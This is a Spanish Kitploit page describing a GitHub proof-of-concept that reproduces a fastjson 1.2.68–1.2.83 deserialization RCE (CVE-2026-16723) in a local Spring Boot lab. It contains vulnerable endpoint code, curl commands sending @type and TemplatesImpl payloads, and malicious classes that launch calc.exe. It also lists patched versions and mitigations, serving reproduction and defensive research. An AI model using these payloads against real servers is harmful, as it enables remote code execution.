Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
fastjson-cve — Proyecto de reproducción para CVE-2026-16723, una RCE crítica en fastjson 1.2.68-1.2.83. Demuestra la evasión de AutoType, la inyección JNDI y cargas útiles en memoria de TemplatesImpl con endpoints vulnerables de Spring Boot. | Kitploit
Herramientas/GitHubGitHub/ipisav/fastjson-cve
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPapers e InvestigaciónAprendizaje y Educación
GitHubipisav/fastjson-cve

fastjson-cve

Proyecto de reproducción para CVE-2026-16723, una RCE crítica en fastjson 1.2.68-1.2.83. Demuestra la evasión de AutoType, la inyección JNDI y cargas útiles en memoria de TemplatesImpl con endpoints vulnerables de Spring Boot.

Ver Repositorio
hace 11h 1mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Proyecto de Reproducción de CVE-2026-16723

Descripción General

Este proyecto reproduce CVE-2026-16723 — una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en fastjson 1.2.68 hasta 1.2.83. La vulnerabilidad permite RCE bajo configuración predeterminada sin requerir la habilitación de AutoType ni gadgets preexistentes en el classpath.

PropiedadValor
ID de CVECVE-2026-16723
Componentefastjson
Versiones Afectadas1.2.68 – 1.2.83
Versiones Corregidas1.2.84+, 2.0.0+
Tipo de VulnerabilidadDeserialización / RCE
SeveridadCVSS 3.1: 9.0 (CRÍTICA)
Vector de AtaqueRed
ComplejidadBaja
Privilegios RequeridosNinguno
Interacción del UsuarioNinguna

Estructura del Proyecto

root@kitploit:~
fastjson-cve-2026-16723/
├── pom.xml                              # Proyecto principal (aplicación Spring Boot con fastjson vulnerable)
├── src/main/java/com/example/cve/
│   ├── FastjsonCveApplication.java      # Punto de entrada de Spring Boot
│   └── controller/
│       └── VulnerableController.java    # Endpoints REST vulnerables
├── malicious/                           # Módulo separado: JAR malicioso para simulación de cadena de suministro
│   ├── pom.xml
│   └── src/main/java/exploit/
│       ├── MaliciousClass.java          # Clase maliciosa con inicializador estático
│       ├── EvilTranslet.java            # Translet malicioso para modo en memoria de TemplatesImpl
│       └── GenTemplatesPayload.java     # Genera el payload JSON de TemplatesImpl
├── templates-payload.json               # Payload de TemplatesImpl generado (variante directa)
├── templates-payload-preload.json       # Payload de TemplatesImpl generado (variante de precarga de clase)
├── target/
│   └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
    └── malicious-jar-1.0.jar

Detalles de la Vulnerabilidad

Causa Raíz

fastjson 1.2.68–1.2.83 contiene una omisión en el mecanismo de protección AutoType. Incluso con configuración predeterminada (autoTypeSupport=false), los atacantes pueden instanciar clases arbitrarias mediante payloads JSON manipulados utilizando cadenas de explotación como:

  1. java.lang.Class + com.sun.rowset.JdbcRowSetImpl (inyección JNDI)
  2. java.lang.Runtime (ejecución directa de comandos)
  3. Ataque de cadena de suministro mediante JAR malicioso en el classpath (@type: exploit.MaliciousClass)

Código Vulnerable

VulnerableController.java — dos endpoints demuestran el problema:

root@kitploit:~
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
    // Vulnerable: JSON.parseObject con configuración predeterminada
    // ¡No se requiere ParserConfig.getGlobalInstance().setAutoTypeSupport(true)!
    JSONObject obj = JSON.parseObject(json);
    return "Parsed: " + obj.toJSONString();
}

@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
    // Fuerza la deserialización a Object — desencadena la instanciación real de la clase
    Object obj = JSON.parse(json);
    return "Deserialized: " + obj.getClass().getName();
}

Compilación del Proyecto

Requisitos Previos

  • Java 8+
  • Maven 3.6+

Comandos de Compilación

root@kitploit:~
# Compilar la aplicación principal
mvn clean package -DskipTests

# Compilar el JAR malicioso (módulo separado)
cd malicious && mvn clean package && cd ..

Artefactos de Salida

  • target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — JAR gordo de Spring Boot
  • malicious/target/malicious-jar-1.0.jar — JAR malicioso con exploit.MaliciousClass

Ejecución de la Aplicación

root@kitploit:~
java -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

El servidor se inicia en http://localhost:8080

Requisito de tiempo de ejecución: este proyecto está dirigido a Java 8 y el modo en memoria de TemplatesImpl está verificado en JDK 8. En JDK 9+ el sistema de módulos bloquea el acceso reflectivo a los internos de java.xml, por lo que la cadena falla con Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl a menos que agregues las banderas --add-opens:

root@kitploit:~
java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
     --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \
     -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

Verificar que el Classpath Incluye el JAR Malicioso

El pom.xml principal declara el JAR malicioso como dependencia, por lo que se incluye en el JAR gordo:

root@kitploit:~
<dependency>
    <groupId>exploit</groupId>
    <artifactId>malicious-jar</artifactId>
    <version>1</version>
</dependency>

Verificar en tiempo de ejecución:

root@kitploit:~
curl http://localhost:8080/api/debug

Prueba de la Vulnerabilidad

Verificación de Salud

root@kitploit:~
curl http://localhost:8080/api/test

Esperado: CVE-2026-16723 Reproduction Endpoint Ready...


Ataque de Cadena de Suministro (Clase Maliciosa en el Classpath)

El módulo malicious proporciona exploit.MaliciousClass con un inicializador estático que ejecuta calc.exe al cargar la clase.

root@kitploit:~
curl -X POST http://localhost:8080/api/deserialize \
  -H "Content-Type: application/json" \
  -d '{"@type":"exploit.MaliciousClass"}'

Resultado:

root@kitploit:~
>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<

Y calc.exe se lanza en el servidor.

Nota: Esto demuestra un escenario de cadena de suministro donde una dependencia maliciosa está presente en el classpath. La vulnerabilidad permite la instanciación de cualquier clase en el classpath, no solo clases JDK.


Modo de Bytecode en Memoria (TemplatesImpl, sin servidor externo requerido)

A diferencia del modo de cadena de suministro (que necesita la clase maliciosa en el classpath) y del modo JNDI (que necesita un servidor LDAP/RMI), este modo incrusta el bytecode malicioso directamente en el payload y lo carga desde memoria mediante com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl — no es necesario desplegar nada adicional.

Paso 1 — generar el payload:

root@kitploit:~
cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload

Esto compila exploit.EvilTranslet (una subclase de AbstractTranslet cuyo inicializador estático ejecuta calc.exe), codifica en base64 los bytes de su .class y escribe:

  • templates-payload.json — variante directa ("@type": "TemplatesImpl")
  • templates-payload-preload.json — variante de precarga de java.lang.Class

Paso 2 — disparar el payload:

root@kitploit:~
curl -X POST http://localhost:8080/api/deserialize-autotype \
  -H "Content-Type: application/json" \
  --data-binary @templates-payload.json

Resultado:

root@kitploit:~
>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<

Y calc.exe se lanza en el servidor.

⚠️ Hallazgos empíricos (verificados contra fastjson 1.2.83): la cadena TemplatesImpl no es activable bajo configuración puramente predeterminada:

  • El payload directo @type es rechazado por la denyList de AutoType (autoType is not support).
  • La cadena de precarga de java.lang.Class falla por dos motivos: java.lang.Class en sí está en la denyList (autoType is not support. java.lang.Class), e incluso precargar TemplatesImpl en los mapeos internos de clases no omite la denyList — la omisión de mapeo de la era 1.2.47 está corregida en 1.2.83.
  • autoTypeSupport(true) por sí solo tampoco es suficiente: la denyList tiene prioridad sobre la bandera autoType.
  • La cadena se activa solo cuando la clase está en la lista blanca mediante ParserConfig.addAccept(...) (la acceptList tiene prioridad sobre la denyList) y Feature.SupportNonPublicField está habilitado (_bytecodes/_name/_tfactory de TemplatesImpl son campos privados).
  • El endpoint /api/deserialize-autotype implementa exactamente esta combinación.
  • Tiempo de ejecución: la cadena está verificada en JDK 8. En JDK 9+ el sistema de módulos bloquea el acceso reflectivo a los internos de java.xml, por lo que la creación de instancias falla con Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl a menos que se usen las banderas JVM en Ejecución de la Aplicación.

EndpointComportamiento
POST /api/parseAnaliza a JSONObject — puede no desencadenar la deserialización completa para todos los payloads
POST /api/deserializeAnaliza a Object — fuerza la deserialización completa y la instanciación de clases (configuración predeterminada)
POST /api/deserialize-nonpublicJSON.parse + Feature.SupportNonPublicField — escribe campos privados, pero la denyList aún bloquea TemplatesImpl
POST /api/deserialize-autotypeAutoType + addAccept + SupportNonPublicField — activa la cadena en memoria de TemplatesImpl

Para la explotación de la clase maliciosa, se requiere /api/deserialize para activar el inicializador estático.


Versiones Corregidas

Actualiza fastjson a una versión parcheada:

root@kitploit:~
<!-- Opción 1: fastjson 1.x (recomendado para usuarios de 1.x) -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.84</version>
</dependency>

<!-- Opción 2: fastjson 2.x (recomendado para proyectos nuevos) -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.0.0</version>
</dependency>

Mitigación (si la actualización no es posible de inmediato)

root@kitploit:~
// Deshabilitar AutoType globalmente (mitigación parcial — las cadenas de explotación pueden aún omitirla)
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

// O usar safeMode (fastjson 1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);

Referencias

  • NVD CVE-2026-16723
  • Aviso de Seguridad de Alibaba fastjson2
  • Repositorio de GitHub de fastjson

⚠️ Aviso Legal

Este proyecto es únicamente con fines educativos y de investigación de seguridad defensiva.

  • No lo utilices contra sistemas que no poseas o para los cuales no tengas permiso escrito explícito para probar.
  • El autor no es responsable de ningún uso indebido, daño o consecuencia legal derivada del uso de este código.
  • Siempre sigue prácticas de divulgación responsable al descubrir vulnerabilidades.
  • Esta reproducción utiliza un payload benigno (calc.exe) para demostración; los exploits reales pueden causar daños graves.

Licencia

Este proyecto se proporciona tal cual para investigación de seguridad. Sin garantía expresa ni implícita.

Descargar herramienta